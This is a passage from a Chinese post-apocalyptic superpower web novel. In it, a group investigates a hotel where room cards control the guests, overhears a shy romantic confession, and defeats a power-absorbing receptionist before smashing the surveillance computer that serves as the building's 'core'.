他黑眸一眨不眨地看着站在柜台后面的人,那人也不意外,只操纵着电脑又吐出另外两张房卡放在柜台的另一边。
他笑了一下:“当然可以。”
他面上没有丝毫勉强,倒是让程承皱了皱眉。
若这地方想伤害他们,那自然是分开他们比较好,但为何他提出三人间这人却丝毫不勉强?
难道……他是真的想让他们几人再次休整一番?
程承伸手拿过那两张烫金卡,也不知为何,本该冰凉的卡却在此时莫名有些烫手了。
一只手突然伸过来,修长的手指懒散地夹住一张房卡抽出来,也不知是故意的还是不小心,骨节轻轻蹭了一下程承的手背,引得后者一阵酥麻。
他几乎是下意识顺着房卡的轨迹看向那人。
伏苓靠在柜台上,手指灵活地转着那张房卡,瞥了程承一眼。
他猛地眨了下眼睛,心脏不可抑制地跳动起来。
伏苓勾唇,目光又轻飘飘地落到柜台后方的男人身上,那人面不改色,朝她笑了笑。
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>她将房卡抵在台面上,指尖一下下地敲击着:“你们酒店里还有别的客人吗?”
男人突然僵了一下,瞬即回道:“当然,酒店入住率很高。”
闻言,程承顿时回神,终于意识到了哪里不对。
这酒店在和平广场楼上,要想进来,肯定是要经过下面四层楼的店面,而根据再一程所说,和平广场已经很长时间没有人进出了,既然如此,那酒店内的住客又是谁?
他心头一跳,突然想到了什么。
在这八年里,不是没有人进入和平广场,只不过他们都有进无出,所以留在外面的人自然而来地认为他们已经死亡。
如果,他们都没有死呢?
或者说,有人闯过了四层的考验,来到了这个酒店,却再也没有离开。
可那些人既然可以通过之前的那些“关卡”,就证明他们实力不差,又怎么会都栽在这里?这里到底有什么?
还没等程承思考个所以然出来,伏苓已经抬脚向房间走去了。
见状,众人也纷纷跟上。
走廊铺上了软乎乎的地毯,踩上去像踩在棉花上一般,墙壁上挂着众人耳熟能详的画作,四周灯光明亮却不刺目。
很舒服的环境,哪怕是天灾开始前,怕是也能评上个“荥城好评率第一的酒店”这种类似的称号。
祝无忧踢了踢脚下软绵绵的地毯,面色却算不上好:“这玩意我都有阴影了。”
知晓她在说影厅里的疑似浸血的地毯,再一程笑了笑:“这边灯光足,能看出来这地毯没什么问题。”
林随安好奇道:“你们在影厅还遇到什么了?”
当时伏苓直接摁着庆母进的影厅,自然不知道按照正常流程走进去会遇到什么。
祝无忧瘪嘴:“其实也没什么,就是走廊地毯潮潮的,像浸了血一样,可吓人。”
林随安深表同情,又说起了自己遇到的场景:“我们进的KTV里面全是镜子,每一个镜子里还有人,跟我们长得一模一样的那种。”
祝无忧试想了一下那个场景,打了个寒颤:“那还是你们更恐怖。”
起码她进入电影里之后就没遇到什么特别恐怖的事情了。
不过话说到这里,林随安倒是想到了些什么:“你有没有觉得,这个和平广场里的每一个场景似乎都在恐吓我们?”
祝无忧摸摸下巴:“好像有点,我进的那个电影不是吓我就是为难我,反正一幅不想让我们走的样子。”
两人聊着聊着就凑到一起去了,林随遇不甘寂寞,也凑过来插嘴:“这我深有体会,当时我进了包厢,里面是纯死局,几乎没留活路。”
说起来后来事情一个接着一个,林随安还不知晓林随遇在包厢里遇到了什么,她侧过头:“包厢里怎么了?”
林随遇“嘿嘿”一笑:“也没什么。”
他言简意赅地将包厢里的事情说了一遍。
“滴”。
走在最前方的伏苓已经找到了对应的房间号,另一个房间就在对面,靠得非常近。
伏苓:“我们仨一起。”
她点了点祝无忧,又抬起下巴示意了一下林随安。
女生一个房间,男生一个房间,非常合理。
程承悄悄散开红雾,低声道:“前台那人还在盯着我们,暂时不宜轻举妄动。我先让血兔转转,看看有没有什么异常,可能要一些时间,我们可以先休息一下,让前台放松警惕。”
众人没什么意见。
伏苓率先走进房间。
房间是非常普遍的三人间,三张算不上宽敞的床铺着柔软的被褥和洁白的床单,床尾垫着一条长长的床尾巾,拖至地面。
墙上挂着最普通的电视,下面是一张宽大的书桌,旁边摆着两张椅子。对着门的墙壁被挖空,嵌着透光的落地窗,即使几人没靠近窗户,都能看到窗外的场景。
此时大雨还未停下,天空一片墨黑,偶尔闪出一道光。
落地窗侧边垂着一道遮光帘和一道纯白纱帘,看上去都很干净。窗边还摆着两个小沙发和一个茶几。
总的来说,是很舒适的一家酒店,祝无忧“哇”了一声,面露惊喜:“这看上去也太舒服了吧!”
如果放在平常,这样的酒店其实也算不上什么高档酒店.
但如今可是乱世啊,这般如同安全屋一般的存在就显得格外珍贵了。
林随安顺手推开自己身侧的那扇门,这里是卫生间,里面做了干湿分离,还配备了各种洗漱用品,贴在墙面上的镜子被擦得干干净净。
“环境确实不错,但……”她顿了顿,继续道:“越是这样,我就越觉得不对劲。”
她对上伏苓看向自己的目光:“这么好的地方,会让我们免费住?而且,外面可还是乱世呢。”
怎么看怎么不对劲。
祝无忧已经跑到窗边左看右看了,伏苓坐在中间那张床上的床尾巾上:“嗯,确实很奇怪。”
林随安也顺势坐在另一张床上:“之前你们说闯通这栋楼就能毁掉核心,是真的吗?”
她倒也不是不相信,只是眼下这般情景,似乎根本没看到什么有关核心的线索。
伏苓:“不知道啊,只是当时不知道应该怎么毁掉核心,所以才想着闯通了再看。”
她看向还在思索的林随安,问道:“你有什么想法吗?”
林随安摇摇头:“我也不知道,而且我们甚至不知道这栋楼的主人在何处。”
“哦,你这么一说我突然想到了,”伏苓福至心灵:“之前我跟程承在家源超市抓到了一个异能者,她说她是和平广场的‘员工’,需要完成员工的任务。”
“员工任务?”林随安捞过书桌上的矿泉水扔给祝无忧,思索道:“那肯定有发布任务的人。”
他们进房间还没有关门。
住在对面的程承过来敲了敲门板,目光落在伏苓身上,道:“小心些,这里不一定完全安全。血兔还没回来,估计还要一会。”
伏苓点点头,没说话。
程承想走又看了她一眼,一幅欲言又止的模样。
林随安哪里看不出他们俩的小九九,挑眉道:“怎么?你要单独跟伏苓说话?”
50. 和平广场18
一时间,房间里另外两个人的目光也转到程承身上。伏苓起身:“那我们出去?”
程承面上依旧是那副冷静的模样,但伏苓走近了才看到了他通红的耳垂。
他退后了一步,让开点道让伏苓通过,然后轻轻咳了一声,掩饰般地跟留在房中的两人解释:“讨论一点事情。”
“哦——”祝无忧拖长声音,饶是她这般反应也察觉出了两人之间微妙的氛围,她戏谑道:“什么事情不能跟我们一起讨论啊,我能偷听吗?”
程承抿了抿唇,丢下一句话逃也似的出了房间:“……不行。”
听着房间里溢出来的笑声,程承耳朵更红了,伏苓靠着墙,饶有兴致地看着他:“怎么了?”
他揉了两下耳朵,才小声道:“也、也不是什么大事……”
似乎是有些紧张,他一会捏着衣角一会摸摸鼻子,酝酿了好几秒才继续:“之前一件事接着一件事的,一直没找到机会跟你说。”
虽然知道这酒店不是什么安全的地方,但好歹也是让他们短暂拥有了一会休息的时间。
走廊静悄悄的,只有身后的没关门的房间里传来些许交谈声,基本上没什么其他声音。这番场景算不上安静,但程承对上伏苓认真看向自己的目光,却无端觉得太安静了。
安静得能让他听到自己疯狂的心跳声。
他不知道该从何说起,只好从他察觉自己的感情开始。
“在高铁上说到那个……吻的时候,我好像一直在逃避,那时候我不知道该怎么面对你,不知道自己对你的感情,也害怕去了解你对我是什么样的感情。”他像是打开了话匣,抿了抿唇:
“但,后来我也发现,对你,我的感情确实是不一样的。”
“哪怕我知道,你可能不喜欢我,也可能不愿意与我更进一步,但我还是压抑不住对你的感情。”他深呼吸了两次,又鼓起勇气:
“我不甘于如今我们现在的关系,贪念与你更亲近一些。所以我还是想试一试,”他有些紧张地吞了吞口水,却在这时认真对上伏苓的双眸:
“我的意思是,我很喜欢你,可以……“他顿了顿,又觉得自己说得不太好,想了想再次抬起眸子:“……我可以追你吗?”
林随安一把捂住祝无忧的嘴,压低声音:“嘘嘘嘘。”
祝无忧死死捂住嘴不让自己发出尖叫,两眼放光地点了点头,她又瞥了一眼对面的房间,只见房门开了一条缝,露出了林随遇和再一程的脸。
四目相对,双方都在对方的眼里看到了熊熊燃烧的八卦之火。
程承毫无察觉,还在红着脸小声说着:“你不用在意其他的那些什么,只凭你的感觉就好了,拒绝也没关系,我会当作什么都没发生的。”
他一脸真诚,眼里满是温柔的笑意和藏都藏不住的紧张。
伏苓抿着嘴,嘴角却在憋不住地上扬。
她扫了一眼探出脑袋的几个人,祝无忧他们顿时将脑袋缩了回去。
她走近一步,两人之间的距离陡然拉近。
程承甚至嗅到了伏苓身上飘来的淡香。
她指尖轻飘飘地点了点程承的鼻尖:“行啊,那你追我试试。”
“真的?”他的瞳孔本还因为伏苓的触碰而轻轻颤抖。
闻言双眸微微瞪大,伏苓靠得很近,近到甚至能看清他眼中的惊喜。
“嗯呢,好好追啊。”她弯了弯眼,声音极轻,如同一片羽毛的尾巴扫过程承的心尖,惹德他浑身酥麻,直接呆在原地。
伏苓抬脚,走过他的时候抬手捏了捏他通红的耳垂,不明意味地笑了一声。
被她触碰过的地方愈加滚烫,程承捂着脸回过神来。
他还没来得及思索些什么,下意识转过身来:“……伏苓。”
伏苓转身,露出了一个疑惑的表情。
程承眉梢都挂着笑意,他其实没什么事情,只是想叫叫伏苓的名字。
他眉眼弯弯:“没什么。”
伏苓笑了笑:“好吧。”
……
关上了门,伏苓挑着眉看向坐在窗边望天的两人:“听得开心吗?”
祝无忧“嘿嘿”一笑,也不装了:“这种事情我们怎么能错过!”
林随安紧随其后:“看不出来啊,程承还挺纯情的。”
表个白脸红得跟虾头一样,还没有直接问“能不能做我女朋友”,而是问“能不能追你”。
“现在这个乱世,他居然还能记着表白这个仪式,实属不易。”林随安笑得开心极了。
祝无忧愣了一下:“为什么呀?”
林随安朝她凑近了些:“你想,我们现在多活一秒是一秒,谁也不知道自己会不会在下一秒就死了,所以很多人表达感情的方式会更加简单粗暴,舍弃掉表白、培养感情等一系列浪费时间的仪式感。”
“哦……”祝无忧若有所思地摸着下巴。
林随安看着她,笑容变得有些意味深长:“想到谁了?”
“什么嘛!”祝无忧将话题又拉回到伏苓身上,“我有个疑问哈,高铁上你们俩什么时候接的吻?我怎么不知道?”
在她的视角看,这两人几乎没有独处的机会,又哪来的时间……
“啊!”祝无忧突然想起来了:“你杀了我之后?”
伏苓拉过桌边的椅子坐下:“是啊,没想到吧。”
林随安面露震惊:“不是,那场景下你们俩还能亲上?”
高铁上血流成河,仅剩的两人还能对上嘴,林随安只能说别太离谱。
她这么一说,伏苓恍惚间似乎又回到了那个满是血腥味的地方。
猩红的血,颤抖的枪,和柔软的唇。
程承说的没错,似乎确实很刺激。
她勾唇笑了一声,又不由开始思索。
那时候,程承究竟在想什么呢?
他真的意识到他对自己是什么感情了吗?
还是说,只是下意识喜欢这种带着窒息感的亲热?
林随安观察着她的表情:“想到什么好事了?笑成这样?”
伏苓嗤了一声:“去去去。”
但她没心思去深究这种没意义的问题,既然程承这般说了,她便无意去搞清楚曾经的那些模糊的感情。
末世当前,稍不注意命就没了,再去纠结这些虚的就太没意思了。
三人躺在柔软的床上有一搭没一搭地聊着天。
伏苓的战备机震了一下。
林随安侧头:“有消息了?”
伏苓嗯了一声,翻身起来:“血兔在布草间发现一具尸体。”
“什么?!”祝无忧骨碌一下爬了起来:“尸体?”
“嗯呢。”伏苓说,“不过布草间正对着前台,我们好像不太好直接走过去。”
林随安思考了两秒:“我应该能带着你们俩去。”
伏苓转头:“哦?”
五分钟后。
程承事无巨细地跟林随安描述了布草间的位置,林随安扔下还在不停震动的战备机,一手一个,带着伏苓和祝无忧瞬移到了布草间。
“哎呦我——”祝无忧险些被地上乱七八糟的东西绊倒,下意识惊呼出声,看清眼前的景象后,她的声音卡在喉咙里:“……去。”
眼前是一个窄小的空间,顶天的架子放置在边缘,上面摆满了乱七八糟的东西,地面上全是喷溅式的血迹,很多已经干涸。
在狭窄的走道上,歪七八扭地横着一个干瘪的男人尸体。
“叮”
祝无忧一抖,看向声音的来源。
是一个易拉罐,被伏苓一脚踹开,骨碌骨碌地滚到尸体身侧。
祝无忧控诉道:“这我就要说你了,案发现场你怎么能破坏呢?”
伏苓笑了一下,双手合十,态度诚恳:“下次一定。”
林随安小心避开地上的血迹——虽然也没什么可以避开的干净地——蹲在尸体一侧,用布包着手将男人翻了个身。
早在他们从背面看的时候,就已经能看出尸体干瘪得不正常,但从正面看才彻底意识到,这根本不是干瘪的问题。
男人的面容像一根脱了水的苹果干,皱皱巴巴地挤压在一起。
祝无忧一阵恶寒:“啥啊这是?”
林随安扒开尸体的衣服:“像是被人吸了精气。”
“咱末世还有狐狸精?”祝无忧小心翼翼问道。
“异能呗。”伏苓抱着臂,居高临下地看着这具已经变成风干人肉的尸体,“吸收人体水分?”
她“啧”了一声:“现在遇到的异能真是越来越离奇了。”
林随安“啪嗒”一下松开尸体的胳膊,站起身来:“我记得你之前说,你在追杀一个人,那人的异能,你知道吗?”
伏苓耸耸肩:“不知道,这人藏得挺好,暂时没这方面的消息。”
“可惜这人都缩成人干了,看不出长相,”林随安摇摇头,“不然或许可以辨认一下,假如这就是你追杀的人呢。”
伏苓冷哼一声:“我不同意。我占有欲太强了,那人只能死在我手上。”
祝无忧缓慢地转头:“姐,占有欲是这么用的吗?”
门外传来脚步声,林随安抓住两人的胳膊:“有人来了,我们走。”
她发动异能,瞬间消失在原地。
下一秒,布草间的门被猛地推开。
前台阴沉着脸出现在门口。
没人?
他的视线缓缓转移到尸体上,又缓缓移开。
看来是自己多虑了。
门被慢慢地关上。
林随安直接带着两人去了程承他们的房间。
林随遇一个弹跳:“怎么样?”
林随安简单描述了一下。
“吸收……”程承皱着眉思索,“你说这异能是吸收什么呢?”
“还能是什么,异能,能量,生命,”祝无忧直接瘫在其中一张床上,像一块摊开的煎饼:“总不能真就只吸收水吧?三体人啊。”
“还有一个问题,”林随安说,“谁干的?”
“那前台吧。”程承说,“□□成的概率。这布草间正对着前台,除了像随安这一有瞬移的异能者,应该也没人能在前台的注视下进入布草间。”
“笃笃”
门外响起了礼貌的敲门声,几人立马安静下来。
林随遇侧耳听了会:“好像敲的是你们的房门。”
林随安抓上祝无忧和伏苓的胳膊:“我们先回去。”
他们很快悄无声息地回到自己的房间。
门外的人还在锲而不舍地敲着门,不急不缓,尺度掌握得刚刚好,让人挑不出什么毛病。
伏苓靠在门侧,林随安坐上椅子,祝无忧跳上床。
伏苓:“谁?”
“小姐,需要下午茶吗?”儒雅的声音传来。
林随安与伏苓对视一眼,压低声音:“是前台。”
伏苓点点头,伸手打开了门。
门外的男人笑得得体又大方,他推着一个小推车,上面放满了食物。
这么多吃的,似乎是每个房间都有。
林随安站起身走过来:“免费?”
男人笑道:“当然,每一餐都是免费的。”
正说着,隔壁的房间突然开了门,探出一只脑袋来,吴迅笑得殷勤:“张哥,下午茶来了啊,给我们来两个。”
这位被叫做“张哥”的男人笑得依旧标准,推着车走过去:“好,你看看想要哪个?”
吴迅两眼放光,很快点了两个递给屋内的人,这才将注意力分给了伏苓她们:“新来的?”
林随安道:“你怎么知道?”
他笑了一下,上下打量了伏苓和林随安一眼,面露鄙夷:“新来的人就是像你们这样,做什么都畏畏缩缩的,这酒店分文不收地留你们在这,你们还警惕个什么劲啊?”
这话实在算不上好听。
林随安担心地看了伏苓一眼,生怕她直接上去给这人劈了,却没想伏苓抱着臂一脸淡然,似乎根本没把这人放在眼里。
见伏苓这般作态,明明她一句话都没说,吴迅却莫名觉得伏苓在嘲笑自己,顿时气不打一处来:“你什么意思?我作为待在酒店里的前辈,说几句能让你多过几天好日子的话,你还不屑上了?”
伏苓看他像在看一个傻子,她尾音上挑:“前辈?”
吴迅差点原地蹦个三尺高:“你什么意思!”
眼见这两人都快打起来了,张哥连忙挡在两人中间:“先生,小姐们,本层酒店禁止斗殴。”
闻言,吴迅倒是立马冷静下来了。他见识过这位张哥的手段,凡是违反酒店规则的人都被他带走了,之后便再也没见过。
他不知道违反规则者会遭受什么,却也不敢去细想。
周围房间里的人许是听到了些动静,纷纷打开一条门缝看热闹。
对面的门也被拉开,程承走出来,对上了伏苓的目光,他走近了些,小声道:“这是怎么了?”
林随遇紧跟其后,扫了一眼林随安:“没事吧?”
林随安摇摇头:“没事,就是起了点争执。
吴迅眼
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见这两个女生居然还有同伙,顿时怂了一点。
要知道,进入和平广场的人基本上都是两两组队的,顶多也只是三个人,而且到达这里的人基本上会损失一个两个的队友,哪有四个人完好无损来到这里的?
想到这里,他立马意识到这群人的实力绝对不一般,他不禁冒出了些许冷汗,直觉今个儿自己怕是惹到不能惹的人了。
但就算如此也不能丢了面子,他梗着脖子,嘴硬道:“总之,这层酒店是对我们闯到此处者的嘉奖,你们好自为之吧。”
许是因为紧张,他这句话说得前言不搭后语的,正准备缩回屋里时,他却听到了房间里又传来一个女生的声音:“洞悉。”
他一愣,第一反应是这房间里居然还有一位女子,第二反应才是:什么洞悉?
下一秒,那女生的声音接着道:“这人在这住了五六年,每天都有免费的餐食供应,住宿也完全没收钱,甚至没遇到什么危险……这酒店当真这么安全?”
“也未必,说不定这就是毁掉核心的关键,你说,他们听到广播了吗?”一道声音从林随遇身后传来。
吴迅下意识思索:什么广播?什么核心?他怎么什么都不知道?
他突然觉得一阵慌乱,似乎,他已经很久、很久没有听到外面的消息了。
这层酒店就像是一个安详的乌托邦,将外界的一切都隔绝在外,处于其中的人确实不用对抗危险,但却多了几分脚不着地的不真实感。
再一程对上祝无忧的目光,后者顿时了然,一张洞悉牌甩出。
她将牌面展示出来,程承一幅不出所料的模样:“所以这一层与外界是完全隔绝的,甚至楼下的广播声也传不上来。”
吴讯听不懂他们在说什么,但他明白,这些人他是觉得打不过的,便只想逃回自己的房间。
却没想,在他即将关门的那一瞬,看到了一张他曾经非常熟悉的脸,他顿时失声道:“程哥?”
伏苓挑眉,胳膊肘怼了怼程承:“你认识?”
程承看了吴讯一眼,无奈:“这人都没在看我啊。”
林随遇已经差不多走到了林随安身边,屋内就只剩下再一程一个人,所以这人在喊谁几乎是一望而知。
再一程愣了一瞬,看向吴讯:“你没死?”
他方才的注意力都在祝无忧这边,根本还没来得及去看跟他们产生矛盾的人究竟是何人,如今被这一声“程哥”吸引了注意力,才发现这人竟然是几年前进入和平广场,他以为早就死去了的吴讯。
得到他的答复,吴讯也明白自己没认错人,顿时激动了起来:“程哥,你怎么……会到这来?”
这情况看上去似乎不是很适合在走廊上聊,程承扫了一眼紧紧盯着他们的前台,当机立断:“来房间里叙叙旧?”
其他人也瞬间明白了他的意思,先不说走廊里明明暗暗投过来的视线,就是站在他们旁边的这位张哥就已经算是一个麻烦了。
几人一个接一个地进了女生的三人间。
伏苓怼了怼程承,等后者乖顺地低头听她说话时,才凑到他耳边戏谑道:“走吧,程哥。”
程承愣了一瞬,耳尖陡然染上红色。他揉了揉耳朵,小声道:“你真是……”
从小到大,因为长相偏幼,看上去年纪又小,他几乎没听过有人喊他“哥”。
就算有,也是那种讨好谄媚的样子,像伏苓这种带着……调戏意味的叫法,还真是让他有些遭不住。
伏苓笑了一下,把他推进房间关上了门。
因为房间里是女生的床,众人进来都没有坐下,只站在空地上。
祝无忧将房间里的椅子拖到一起,自己跟林随安坐在床上:“坐着说吧。”
林随遇随手拉开一个椅子坐下,他拍拍自己身侧的座位:“这。”
其他两人这才坐下,伏苓走过来坐在祝无忧身边:“这是你朋友?”
再一程愣了一下,意识到伏苓在问自己:“嗯,他之前算是我的……”
他顿了顿,有些不知道该怎么形容两人的关系。吴迅接话道:“他是我大哥。”
“……”
再一程沉默了一瞬,许是觉得这般称呼实在是有些中二,便解释道:“就是一起对抗感染者,算得上是伙伴。”
“那后来怎么一个人进了和平广场?”程承坐在一旁的椅子上问道。
伏苓扫了他的耳垂一眼,那里已经恢复如常,她有些遗憾地移开目光。
“被人袭击,没办法,只好进来了。”吴迅挠挠脑袋:“进来才发现出不去了,拼死拼活过了一楼超市,坐电梯上来到了这里,之后就一直没离开过。”
“哎,”伏苓懒散插嘴,目光冷淡地看向吴迅,“超市出来有个后面,为什么不直接走?”
吴迅呆了一下。
突然意识到,刚刚自己似乎对这位漂亮的女士态度有些恶劣。
但他也没太在意。
这一群人里面,这些女生的实力多半不行,就算得罪了也不碍事。
他收回目光,继续说:“因为当时……有一道声音,一直诱惑着我上去。”
声音?
林随安皱起眉头:“这难道是前台的异能?言灵?控制?”
“不是不是,”吴迅摆摆手,“我能感受到,那不是异能,而是一种从心底升起的声音。”
程承:“……突然变成玄幻剧了呢。”
可,不是异能,那这声音从何而来?
前台的异能又到底是什么?
吴迅继续说:“后来我没走……一是因为没有找到出口,二是,这里每日提供吃喝,也不用担心生命安全,我就没再动过离开的心思。”
“那你有没有想过,”祝无忧托着下巴,慢慢悠悠地说,“你们吃的东西,是哪来的?”
吴迅脸色一变,他急急反驳:“人家肯定有自己的方法,你别乱猜!”
“行了,闭嘴吧。”伏苓打断他,直击重点:“所以核心在哪?”
不管和平广场的目的是什么,只要毁了核心,一切问题都会迎刃而解。
林随安问道:“吴讯,对吧?”
得到后者的肯定答复后她才礼貌问道:“你在这里这么多年,知道楼上是否还有别的区域吗?”
吴讯摇摇头:“没有了,和平广场只到这里。”
“我们扫荡了一至四楼,确定没什么异常,所以可以将核心存在范围缩小至这个酒店。”林随安下了定论。
程承:“核心一定是一个可以波及到商场内所有人的存在,那会是什么?”
51. 和平广场19
祝无忧挠挠脑袋:“不知道啊。”
有什么东西是覆盖全商场的吗?
房间里骤然安静了下来,伏苓左看看右看看,插嘴道:“监控啊。”
众人如梦初醒,林随遇一拍桌子:“是啊,监控才是全商场无死角覆盖的。”
祝无忧:“也不一定无死角啊……”
林随遇白了她一眼:“这也能杠?”
两人突然插科打诨起来,房间四处溢出笑声,紧张的氛围陡然一松。
林随安掩住笑:“但好像房间里是没有监控的吧?五楼这边是不是会有别的东西。”
住酒店的每一个人都会拥有的东西,答案呼之欲出:
“房卡!”
“说到这个,”程承想起什么:“做完那人给我们办房卡的机器似乎有点东西。”
他余光扫到了点电脑屏幕,当时的电脑中的页面似乎不像是在给客人办理入住,那时候他没多想,如今看来多半是楼下的监控吧。
再一程点头:“如果真是监控的话,那核心应该就是这台电脑。”
既拥有能覆盖全商场的监控,又涉及了五楼所有住宿之人。
伏苓起身,说干就干:“那我去给那破电脑毁了。”
“诶诶诶,”程承连忙拉住她的手,抬头对上她垂下来的目光时,却突然觉得指尖都在隐隐发烫。他有些慌乱地松开她,眨眨眼睛:“如果房卡是核心的一部分的话,那说不定我们这些拥有房卡的人会有一些限制。”
“限制?”再一程静了两秒。
程承点了点头:“我认为,我们该先去探一探再做打算。”
他说的在理,众人皆是赞同。
只是,该派谁去试探呢?
林随安率先道:“我去吧。”
她能空间移动,遇到紧急情况有很大概率能逃脱,似乎是所有人中最合适的了。
“不行。”还没等林随遇说话,伏苓直截了当地拒绝,她笑了一下:“其实我们有更好的人选啊。”
片刻后,伏苓拎着血兔的耳朵,笑得温柔:“能做到吗?”
除了临安三人组,其他人都没见过血兔。
林随安和林随遇虽然听程承说过,但到底是没亲眼见到,如今见了也是一脸好奇。
至于再一程和吴讯,两人更是听都没听见,当场瞪着眼睛好奇地上下打量这只兔子。
感受到屋内齐刷刷看向自己的目光,血兔挣扎着蹬了蹬腿,逃脱无果后才咬牙切齿:“……能。”
伏苓满意了,她松开血兔,下一瞬,那兔子逃也似的当场散成雾气。
伏苓抱着臂:“等着吧。”
再一程看向程承:“这是你的异能吗?”
程承点头:“是啊,还挺好用的。”
这何止是好用?
再一程有些想吐槽,但忍了忍还是憋了回去。
……
走廊里几乎看不出什么异样,红雾慢慢凝聚,汇成了程承的模样。
似乎是不太适应如今这副样子,“程承”歪了歪脑袋,如同婴儿学步一般僵硬地迈了两步,才走得勉强像个人类。
他练习了几次笑容,才捏着房卡缓缓向大厅走去。
张哥依旧坐在柜台后面,见到有人来了,他站起身来,笑道:“先生,是有什么需要我帮忙的吗?”
“程承”抬起手臂,他抬手臂的动作略有些奇特,像是仅靠大臂带动的小臂转动,如此情景让张哥不由得愣了愣,他关心道:“是手臂伤到了吗?”
“程承”摇了摇头,将手上的房卡放在柜台上:“我要退房。”
张哥关心的神情陡然变得阴沉,他的笑容带上了些许阴冷和威胁:“先生是对我们有什么地方不满吗?你看,我们的住宿是免费的,还能为您提供餐……”
“我说,退房。”似是有些不耐烦,“程承”直接打断了他的话。
大厅内顿时安静得落针可闻。
在张哥没注意到的地方,一只近乎透明的血色兔子一蹦一跳地来到电脑屏幕面前,近视一般地凑上去电脑上的页面。
张哥笑了一声:“我们酒店,不允许退房。”
……
住在对面的三人陡然一颤,从椅子上滑落。
伏苓眼疾手快扶住程承,皱眉询问:“怎么回事?”
程承只觉得周身血液都凝固住了,丝毫不得动弹,但或许是血兔在大厅为其承担了一部分,在另外两人话都说不出来的时候,他还能勉强说几句:“三人,房卡,动不了了。”
伏苓瞬间会意。
一张房卡“管控”着住在这件房间里的人。
比如说,血兔拿着他们的房卡出门挑衅,那位张哥便会控制住在这间房里的三个人。
而这所谓的“管控”差不多是让他们三人无法动弹。
虽然算不上什么高级的手段,但若当真手无寸铁地遇到这种事情,确实是没办法反抗。
看着程承露出略显难受的表情,伏苓顿时有些烦躁,她起身:“我去。”
“等……”程承下意识想抓住她,这控制确实是棘手,让他甚至没能在第一时间伸出手。但伏苓还是停了下来,对上了他带着明显担忧的神色:“……危险。”
伏苓勾唇,俯身用指尖轻轻抹了下他微张的唇瓣:“不危险,我去弄死他。”
说完,她扫了一眼一人扶着一个的画面,大步向外走去,伸手将插在卡槽里的房卡扒出来开了门。
大厅内,张哥面露震惊地看着还能活蹦乱跳的“程承”,艰难出声:“你怎么可能……”
“程承”身手敏捷地躲过他的攻击,笑得猖狂:“因为我是你爹。”
张哥面色阴沉,死死盯着“程承”:“我就知道你们这群人……”
他咽下了下面的半句话,抬起手,面目狰狞:“去死吧!”
“什么……我操!”血兔的身体像是被吸尘器吸住,不可阻拦地被迫朝着张哥的手掌心滑去,它有些慌乱地看向伏苓:“伏苓救我!”
伏苓目光沉静地看着张哥的掌心。
血兔的身体本质上是程承的异能,所以这个张哥的异能……似乎是吞噬其他异能。
这就有点棘手了。
不过呢。
伏苓笑了一下,脚尖一点,飞速朝着交缠在一起的两人奔去,手中软剑纷飞,直击张哥。
她可是无能力者。
吞噬异能,关她什么事?
这一击来得又快又猛,张哥一时不察,松开血兔狼狈避开。
他面容扭曲:“你也去死!”
不知这人做了什么,话音落下的瞬间,伏苓只觉得浑身上下的力气都在流失,四肢渐渐不受自己控制,蚀骨般的疼痛从身体各处传来。
疼痛如浪潮一般袭来,伏苓无意识歪了歪脑袋:“哦?是吗?”
她将手中房卡抛起,在快要失去力气的下一瞬,软剑将房卡从中间切开。
四肢顿时重新回归自己的控制,伏苓甩出软剑,在对面那人惊恐的目光下灵巧跃向张哥:“没猜错的话,你就是发布追杀令的人吧,张才。”
张才目光躲闪了几下,飞速后撤:“那有怎么样?你还是得死在这里!”
见状,血兔立马反应过来,毁坏房卡就能解除控制。
它伸出手,红雾包裹住那张烫金房卡。
下一瞬,在红雾的挤压下,房卡化为粉末。
不过几个呼吸间,伏苓身后的门内便被大力撞碎,白光照射,红雾弥漫,狂风四起,林随安出现在张才身后,一脚踹向他的膝弯。
张才被踹得险些跪倒在地上,他猛地抬手,掌心处的黑洞透着诡异的色彩。
没等几人反应过来,他们的异能就开始以极快的速度被张才的掌心吸收。
吴迅惊慌大叫:“我的异能!”
林随遇死死咬着牙,拼尽全力将手向下探去。
看到几人艰难抵抗的模样,张才叉腰大笑:“还敢跟我作对?我手里可是掌握着你们一辈子都拥有不了的能量,就凭你们几个毛都没长齐的小屁孩,也想跟我作对哈哈……”
软剑锁上他的脖颈,像一条在暗处伺机待发,一击毙命的毒蛇。
他的声音瞬间卡死在脖子里,眼珠惊恐地朝着后方看去。
一张漂亮到令人心悸的脸轻笑着靠近他,脖颈上的软剑猛地收紧,血液顺着皮肤滑落下来。
伏苓愉悦地勾起唇角:“怎么不说话了呀?”
吴迅呆愣地看着伏苓的动作,眼中慢慢浮现出惊恐。
他好像之前……有点以貌取人了。
轻微而利落的声音响起。
林随遇凭借蛮力突破桎梏,瞬间掏出腰间的能量枪射向张才。
他的手臂顿时出现了一个大窟窿,小臂连着手掌被硬生生打断,砸落在地面上。
张才张大嘴巴,但脖颈处的软剑却死死勒着他,让他只能发出哼哧哼哧的声音。
随着吞噬异能的强制解除,剩下几人立马恢复过来。
伏苓嫌恶地看了一下被张才的断肢弄脏的靴子:“哎呀,我的鞋。”
她笑嘻嘻地凑近他,眼里是止不住的杀意:“只能用你的命来赔咯。”
张才魂飞魄散,张着嘴疯狂想求饶,却一个字也发不出来。
他敢相信,这个女人是真真切切想杀了他,哪怕他手上还掌握着他们不知道的情报。
早知道……早知道这人竟然这般恐怖,他又怎么会义气上头发布那个给他引来杀生之祸的追杀令?
结果不仅没人敢追杀她,就连自己也反被追杀。
他的眼角流下了悔恨而绝望的泪水。
“伏苓。”程承温声开口,“这人好像要吓失禁了,你快放开他。”
闻言,伏苓立马收回软剑,一脚把张才踹了两米远:“咦额。”
林随遇和再一程立马按住了张才。
伏苓瞥了他们一眼,走向柜台后面,俯身握住鼠标,屏幕立马亮了起来。
如他们所料,电脑上实时监控着和平广场的每个角落,伏苓用剑柄怼了怼电脑屏幕,显示屏抖了两下。
伏苓问道:“直接毁了这玩意吗?”
闻言,哪怕被压在地上,张才也艰难喊道:“不行!你们不能毁了它。”
伏苓面无表情地“哦”了一声,干脆利落一拳砸上去。
拳头贯穿显示器。电线劈里啪啦地在周围炸开。
程承甚至还没来得及拦住她,和平广场的核心便瞬间破碎开来。
一瞬间,众人只觉得一阵能量波自风暴中心向外扩散,如同炸弹在此处爆炸,无形的冲击让众人下意识后退了一步。
林随遇目瞪口呆:“这就是核心的力量吗?”
即便他们不晓得如何测量能量多少,但光从方才那一下看来,这颗核心内部所包含的能量绝对不少。
也难怪,获得核心的大楼拥有这般恐怖的异能量。
伏苓收回拳头,随意甩了甩,靠在柜台上看着张才:“交待你做了什么,一分钟,说不完的话——”
